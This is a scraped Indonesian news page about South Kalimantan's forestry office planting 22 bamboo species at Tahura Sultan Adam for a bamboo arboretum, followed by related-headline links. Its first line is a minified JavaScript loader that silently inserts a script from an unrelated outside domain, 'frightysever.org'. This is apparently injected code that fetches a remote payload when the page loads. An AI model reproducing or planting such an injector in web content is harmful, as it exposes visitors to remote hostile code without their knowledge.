(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
MARTAPURA, Sedikitnya 823 batang dari 22 jenis bambu ditanam di kawasan Tahura Sultan Adam, Mandiangin, Kabupaten Banjar, Rabu (26/12). Penanaman dilakukan Dinas Kehutanan Kalsel.
Menurut Kadis Kehutanan Kalsel, Hanif Faisol Nurofiq, yang memimpin langsung penananaman, dipilihnyaTahura Sultan Adam karena nantinya akan menjadi arboretum bambu yang bisa digunakan untuk penelitian, pendidikan, serta sebagai ekowisata. “Hari ini kita menanam 22 jenis bambu yang diambil dari berbagai negara. Dari 22 jenis ini, 14 jenis di antaranya bambu local,†jelas Hanif.
Penanaman bambu ini, lanjut Hanif, merupakan wujud komitmen pemprov dalam mengembangkan dan membudidayakan bambu di Kalsel.
Sebelumnya, Pemprov Kalsel juga mengirimkan delegasi ke Tiongkok untuk mempelajari lebih jauh terkait pengembangan dan budidaya bambu. “Pemprov Kalsel berkomitmen untuk mengembangkan dan membudidayakan bambu. Selain penanaman arboretum bambu di kawasan Tahura Sultan Adam, kita juga sudah mengirim delegasi ke Tiongkok untuk belajar lebih jauh terkait pengembangan dan pembudidayaan bambu,†tandasnya.
Tak hanya di Tahura Sultan Adam, sambung Hanif, di depan kantor SKPD Provinsi Kalsel juga akan ditanami bambu sebanyak 10 titik. Bambu yang akan ditanam adalah jenis gold China.
Sementara menurut salah satu delegasi Kalsel ke Tiongkok, Prof Dr Ir H Yudi Firmanul Arifin, bambu memiliki nilai atau value yang tinggi jika bisa dikembangkan dan dimanfaatkan dengan baik. Kalsel memiliki potensi yang luar biasa untuk pengembangan bambu. Saat ini, mungkin hanya beberapa daerah di Kalsel yang memiliki produksi bambu.
“Bambu ternyata memiliki nilai atau value yang tinggi. Bambu dapat dibuat menjadi tisu, bahan pakaian dan lain sebagainya,†jelas Yudi Firmanul.
Untuk pengembangan bambu di Kalsel, sambung Yudi, nantinya akan melibatkan masyarakat untuk menanam dan akan dibangun industri untuk mengolah hasil bambu dari masyarakat. Dengan ditanamnya 22 jenis bambu di Tahura Sultan Adam ini, akan menambah potensi ekowisata yang selama ini sudah dimiliki Tahura Sultan Adam.
Melalui Arboretum Bambu ini, para pengunjung dapat mengetahui dan mengenal berbagai jenis bambu dari berbagai negara. 22 jenis bambu itu, antara lain Wulung, Ampel, Gold China, dan lain-lain.(rico)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.